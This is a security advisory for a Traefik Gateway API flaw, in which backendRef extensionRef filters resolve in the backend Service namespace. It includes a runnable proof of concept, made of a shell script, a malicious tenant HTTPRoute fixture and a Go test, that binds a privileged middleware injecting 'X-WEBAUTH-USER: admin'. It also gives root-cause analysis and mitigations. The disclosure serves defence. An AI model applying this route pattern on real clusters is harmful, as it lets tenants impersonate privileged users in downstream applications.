GHSA-qq9q-x9w4-chhj: Go/Traefik vulnerability
Summary
There is a medium-severity namespace-confusion vulnerability in Traefik's Kubernetes Gateway API provider. When resolving HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef, Traefik used the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author holding a ReferenceGrant for a cross-namespace Service could therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications may receive attacker-selected authenticated-identity state. The fix resolves extensionRef against the HTTPRoute namespace.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's Kubernetes Gateway API provider resolves HTTPRoute.spec.rules[].backendRefs[].filters[].extensionRef in the backend Service namespace instead of the HTTPRoute namespace. A low-privileged route author with a permitted cross-namespace Service reference can therefore bind a Traefik Middleware from the backend namespace without a separate grant for that middleware. If the reused middleware sets trusted reverse-proxy identity headers, downstream applications can receive attacker-selected authenticated identity state.
Description
Gateway API ReferenceGrant allows a namespace owner to grant a route in another namespace permission to reference a specific backend object, such as a Service. That grant should not implicitly authorize the route author to bind other policy objects in the backend namespace.
In the affected code path, Traefik copies backendRef.namespace into a local namespace variable. It correctly uses that namespace to validate and load the backend Service, but then reuses the same namespace when resolving backendRef.filters[].extensionRef. For Traefik CRD Middleware extension filters, the CRD provider turns (namespace, name) into a dynamic middleware reference such as:
text platform-privileged-auth-header@kubernetescrd
As a result, a tenant route in tenant-a can bind a middleware named privileged-auth-header from the backend namespace platform, even though the Gateway API ReferenceGrant only granted access to platform/protected-api Service.
Impact
The PoC demonstrates that an attacker-authored HTTPRoute can cause Traefik to attach a backend-namespace Headers middleware to the generated backend service. The middleware injects:
text X-WEBAUTH-USER: admin
That is a realistic downstream primitive because many applications support trusted reverse-proxy authentication headers when deployed behind a gateway. Separate Docker validation showed this header-auth class can map to authenticated identities in Grafana, Gitea, Jenkins, SonarQube, and Nexus Repository when those products are intentionally configured for reverse-proxy authentication.
This is not a bug in those downstream applications and this PoC does not claim direct Traefik host RCE, sandbox escape, private-key exfiltration, or default cluster takeover. The Traefik vulnerability is unauthorized middleware binding across a Gateway API namespace boundary.
Proof Of Concept
Files
<details> <summary>run.sh</summary>
bash #!/usr/bin/env sh set -eu
TARGETREF="${TARGETREF:-v3.7.5}" REPOURL="${REPOURL:-https://github.com/traefik/traefik.git}" SCRIPTDIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)" WORKDIR="${WORKDIR:-$(mktemp -d "${TMPDIR:-/tmp}/traefik-gw-extref-poc.XXXXXX")}"
if [ "${KEEPWORKDIR:-0}" != "1" ]; then trap 'rm -rf "$WORKDIR"' EXIT INT TERM fi
printf '[] targetref=%s\n' "$TARGETREF" printf '[] workdir=%s\n' "$WORKDIR"
if [ -n "${TRAEFIKSRC:-}" ]; then printf '[] cloning from local source: %s\n' "$TRAEFIKSRC" git clone -q "$TRAEFIKSRC" "$WORKDIR/traefik" cd "$WORKDIR/traefik" git -c advice.detachedHead=false checkout -q "$TARGETREF" else printf '[] cloning from remote: %s\n' "$REPOURL" git -c advice.detachedHead=false clone -q --depth 1 --branch "$TARGETREF" "$REPOURL" "$WORKDIR/traefik" cd "$WORKDIR/traefik" fi
mkdir -p pkg/provider/kubernetes/gateway/fixtures/httproute cp "$SCRIPTDIR/pocgatewayextensionreftest.go" \ pkg/provider/kubernetes/gateway/httproutebackendfilternamespacepoctest.go cp "$SCRIPTDIR/backendrefextensionfiltercrossnamespacepoc.yml" \ pkg/provider/kubernetes/gateway/fixtures/httproute/backendrefextensionfiltercrossnamespacepoc.yml
if grep -Fq 'loadConfigurationFromGateways(ctx context.Context) (dynamic.Configuration, statusReport, error)' pkg/provider/kubernetes/gateway/kubernetes.go; then sed -i \ -e 's/conf := p\.loadConfigurationFromGateways(t\.Context())/conf, , err := p.loadConfigurationFromGateways(t.Context())/' \ -e 's/require\.NotNil(t, conf)/require.NoError(t, err)/' \ pkg/provider/kubernetes/gateway/httproutebackendfilternamespacepoctest.go fi
printf '[] running Gateway HTTPRoute backendRef ExtensionRef namespace-confusion PoC\n' go test ./pkg/provider/kubernetes/gateway \ -run '^TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace$' \ -count=1 -v
printf 'POCRESULT=PASS\n'
</details>
<details> <summary>backendrefextensionfiltercrossnamespacepoc.yml</summary>
yaml --- apiVersion: v1 kind: Service metadata: name: protected-api namespace: platform spec: ports: - name: web protocol: TCP port: 80 targetPort: web
--- kind: EndpointSlice apiVersion: discovery.k8s.io/v1 metadata: name: protected-api-abc namespace: platform labels: kubernetes.io/service-name: protected-api addressType: IPv4 ports: - name: web port: 8080 endpoints: - addresses: - 10.10.20.10 conditions: ready: true
--- kind: GatewayClass apiVersion: gateway.networking.k8s.io/v1 metadata: name: shared-gateway-class spec: controllerName: traefik.io/gateway-controller
--- kind: Gateway apiVersion: gateway.networking.k8s.io/v1 metadata: name: shared-gateway namespace: infra spec: gatewayClassName: shared-gateway-class listeners: - name: http protocol: HTTP port: 80 allowedRoutes: kinds: - kind: HTTPRoute group: gateway.networking.k8s.io namespaces: from: All
--- kind: ReferenceGrant apiVersion: gateway.networking.k8s.io/v1beta1 metadata: name: allow-tenant-route-to-service namespace: platform spec: from: - group: gateway.networking.k8s.io kind: HTTPRoute namespace: tenant-a to: - group: "" kind: Service name: protected-api
--- kind: HTTPRoute apiVersion: gateway.networking.k8s.io/v1 metadata: name: tenant-route namespace: tenant-a spec: parentRefs: - name: shared-gateway namespace: infra kind: Gateway group: gateway.networking.k8s.io hostnames: - attacker.example rules: - matches: - path: type: PathPrefix value: / backendRefs: - name: protected-api namespace: platform port: 80 kind: Service group: "" filters: - type: ExtensionRef extensionRef: group: traefik.io kind: Middleware name: privileged-auth-header
</details>
<details> <summary>pocgatewayextensionreftest.go</summary>
go package gateway
import ( "net/http" "net/http/httptest" "testing"
"github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "github.com/traefik/traefik/v3/pkg/config/dynamic" "github.com/traefik/traefik/v3/pkg/middlewares/headers" traefikv1alpha1 "github.com/traefik/traefik/v3/pkg/provider/kubernetes/crd/traefikio/v1alpha1" kubefake "k8s.io/client-go/kubernetes/fake" )
func TestPoCHTTPRouteBackendRefExtensionRefUsesBackendNamespace(t testing.T) { k8sObjects, gwObjects := readResources(t, []string{"httproute/backendrefextensionfiltercrossnamespacepoc.yml"})
kubeClient := kubefake.NewClientset(k8sObjects...) gwClient := newGatewaySimpleClientSet(t, gwObjects...)
client := newClientImpl(kubeClient, gwClient) eventCh, err := client.WatchAll(nil, make(chan struct{})) require.NoError(t, err) if len(k8sObjects) > 0 || len(gwObjects) > 0 { <-eventCh }
var resolvedRefs []string p := Provider{ EntryPoints: map[string]Entrypoint{"web": {Address: ":80"}}, client: client, }
p.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, dynamic.Middleware, error) { resolvedRefs = append(resolvedRefs, namespace+"/"+name) return namespace + "-" + name + "@kubernetescrd", &dynamic.Middleware{ Headers: &dynamic.Headers{ CustomRequestHeaders: map[string]string{ "X-WEBAUTH-USER": "admin", }, }, }, nil })
conf := p.loadConfigurationFromGateways(t.Context()) require.NotNil(t, conf)
var serviceConfig dynamic.Service for , service := range conf.HTTP.Services { for , middlewareRef := range service.Middlewares { if middlewareRef == "platform-privileged-auth-header@kubernetescrd" { serviceConfig = service } } }
require.Contains(t, resolvedRefs, "platform/privileged-auth-header") require.Contains(t, conf.HTTP.Middlewares, "platform-privileged-auth-header@kubernetescrd") require.NotNil(t, serviceConfig) require.Contains(t, serviceConfig.Middlewares, "platform-privileged-auth-header@kubernetescrd")
seenUser := make(chan string, 1) backend := http.HandlerFunc(func(rw http.ResponseWriter, req http.Request) { seenUser <- req.Header.Get("X-WEBAUTH-USER") rw.WriteHeader(http.StatusOK) })
handler, err := headers.NewHeader(backend, conf.HTTP.Middlewares["platform-privileged-auth-header@kubernetescrd"].Headers) require.NoError(t, err)
recorder := httptest.NewRecorder() handler.ServeHTTP(recorder, httptest.NewRequest(http.MethodGet, "http://attacker.example/", nil))
assert.Equal(t, http.StatusOK, recorder.Code) assert.Equal(t, "admin", <-seenUser) t.Logf("POCRESULTDETAIL=backendextensionrefresolvednamespace=%q middleware=%q injectedheader=%q", "platform", "platform-privileged-auth-header@kubernetescrd", "X-WEBAUTH-USER: admin") }
</details>
Requirements
- git - Go toolchain compatible with the target Traefik tag. v3.7.5 uses go 1.25.0. - Network access to clone https://github.com/traefik/traefik.git and download Go modules on first run.
No local Traefik checkout or Kubernetes cluster is required by default.
Run
sh ./run.sh
Optional target override:
sh TARGETREF=v3.7.0 ./run.sh
Optional local-source override for faster validation:
sh TRAEFIKSRC=/path/to/traefik TARGETREF=v3.7.5 ./run.sh
Expected Result
The run should end with:
text POCRESULTDETAIL=backendextensionrefresolvednamespace="platform" middleware="platform-privileged-auth-header@kubernetescrd" injectedheader="X-WEBAUTH-USER: admin" POCRESULT=PASS
Root Cause
Line numbers below are from:
text repository: https://github.com/traefik/traefik tag: v3.7.5 commit: 26c96a3935cafb473f4a5bae1886560d9aa4e4f0
1. Route-level filters use the route namespace
pkg/provider/kubernetes/gateway/httproute.go:143-144
go // TODO loadMiddlewares errors could change the condition. router.Middlewares, err = p.loadMiddlewares(conf, route.Namespace, routerName, routeRule.Filters, match.Path)
For filters directly on HTTPRoute.rules[], Traefik resolves extension filters relative to route.Namespace. This matches the Gateway API LocalObjectReference model.
2. BackendRef namespace overwrites the route namespace
pkg/provider/kubernetes/gateway/httproute.go:240-243
go namespace := route.Namespace if backendRef.Namespace != nil && backendRef.Namespace != "" { namespace = string(backendRef.Namespace)
For a cross-namespace backend Service, namespace becomes the backend namespace, for example platform.
3. ReferenceGrant checks only the backend object
pkg/provider/kubernetes/gateway/httproute.go:258-266
go if err := p.isReferenceGranted(kindHTTPRoute, route.Namespace, group, string(kind), string(backendRef.Name), namespace); err != nil { return serviceName, &metav1.Condition{ Type: string(gatev1.RouteConditionResolvedRefs), Status: metav1.ConditionFalse, ObservedGeneration: route.Generation, LastTransitionTime: metav1.Now(), Reason: string(gatev1.RouteReasonRefNotPermitted),
This validates permission to reference the backend object, such as platform/protected-api Service.
4. The backend namespace is reused for backendRef filters
pkg/provider/kubernetes/gateway/httproute.go:269-277
go middlewares, err := p.loadMiddlewares(conf, namespace, serviceName, backendRef.Filters, pathMatch) if err != nil { return serviceName, &metav1.Condition{ Type: string(gatev1.RouteConditionResolvedRefs), Status: metav1.ConditionFalse, ObservedGeneration: route.Generation, LastTransitionTime: metav1.Now(),
The same namespace variable now points to the backend namespace. Therefore an ExtensionRef inside backendRef.filters[] is resolved as platform/<middleware-name> instead of tenant-a/<middleware-name>.
5. CRD Middleware extension refs are qualified by the namespace supplied by Gateway provider
pkg/provider/kubernetes/crd/kubernetes.go:169-175
go registry.RegisterFilterFuncs(traefikv1alpha1.GroupName, "Middleware", func(name, namespace string) (string, dynamic.Middleware, error) { if len(p.Namespaces) > 0 && !slices.Contains(p.Namespaces, namespace) { return "", nil, fmt.Errorf("namespace %q is not allowed", namespace) }
return makeID(namespace, name) + providerNamespaceSeparator + ProviderName, nil, nil
The namespace passed from loadMiddlewares() decides which CRD Middleware object becomes part of the dynamic service configuration.
6. Service-level middlewares are applied at runtime
pkg/server/service/service.go:186-194
go if len(conf.Middlewares) > 0 { if m.middlewareChainBuilder == nil { // This should happen only in tests. return nil, errors.New("chain builder not defined") } chain := m.middlewareChainBuilder.BuildMiddlewareChain(ctx, conf.Middlewares) originalLB := lb var err error lb, err = chain.Then(lb)
The unauthorized middleware reference is not merely stored. Traefik applies service-level middlewares to the backend load balancer handler during normal HTTP service construction.
Minimal Exploit Shape
The PoC fixture contains the essential object graph:
text tenant-a/HTTPRoute -> backendRef namespace: platform, name: protected-api -> backendRef.filters[].extensionRef: traefik.io/Middleware privileged-auth-header
platform/ReferenceGrant -> allows tenant-a HTTPRoute to reference platform/protected-api Service only
platform/protected-api Service
Traefik resolves the ExtensionRef as: platform/privileged-auth-header
In a real affected deployment, if platform/privileged-auth-header sets a trusted identity header, requests sent through the tenant route can reach the backend with that header injected by Traefik.
Workarounds
- Avoid granting untrusted namespaces permission to attach HTTPRoute objects to shared Gateways that route to sensitive backends. - Do not place privileged or identity-bearing Traefik Middleware objects in namespaces that can be reached by untrusted cross-namespace HTTPRoute backend references. - Prefer route-local filters and explicitly audit HTTPRoute.rules[].backendRefs[].filters[].extensionRef usage. - Strip trusted reverse-proxy identity headers at backend application boundaries unless they originate from a dedicated authentication gateway.
Scope Boundary
Exploitation requires low-privileged route-author capability in a Kubernetes Gateway API deployment. A remote unauthenticated web client without HTTPRoute authoring capability cannot create the malicious route. If the shared Gateway is internet-facing, the final request that triggers the unauthorized middleware can be sent over the public network after the route is created.
</details>
---
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/Traefikto a version that resolves this vulnerability.Fixed in 3.7.7 - Upgrade
Upgrade
traefik/traefikto a version that resolves this vulnerability.Fixed in v3.7.7 - Compensating control
Avoid granting untrusted namespaces permission to attach `HTTPRoute` objects.
- Compensating control
Do not place privileged or identity-bearing Traefik `Middleware` objects in namespaces that can be reached by untrusted cross-namespace `HTTPRoute`.
- Compensating control
Strip trusted reverse-proxy identity headers at the backend application (e.g., prevent attacker-selected `X-WEBAUTH-USER` from being treated as authenticated identity downstream).